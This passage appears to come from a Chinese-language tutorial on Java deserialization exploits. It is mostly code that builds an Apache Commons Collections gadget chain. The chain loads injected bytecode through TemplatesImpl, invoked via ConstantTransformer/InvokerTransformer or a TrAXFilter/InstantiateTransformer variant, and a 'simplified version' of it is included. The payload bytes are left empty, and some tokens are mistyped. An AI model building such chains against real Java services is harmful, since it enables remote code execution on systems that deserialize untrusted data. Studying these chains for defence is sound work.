Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(template,new TransformerFactoryImpl());
bytecodesField.set(template,codes);
// template.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(template), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); }
简化版如下
byte[] code = Base64.getDecoder().decode(""); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", newbyte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) }; Transformer transformerChain = new ChainedTransformer(transformers);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Classp[] {Templates.class}, new Object[] {obj} ) };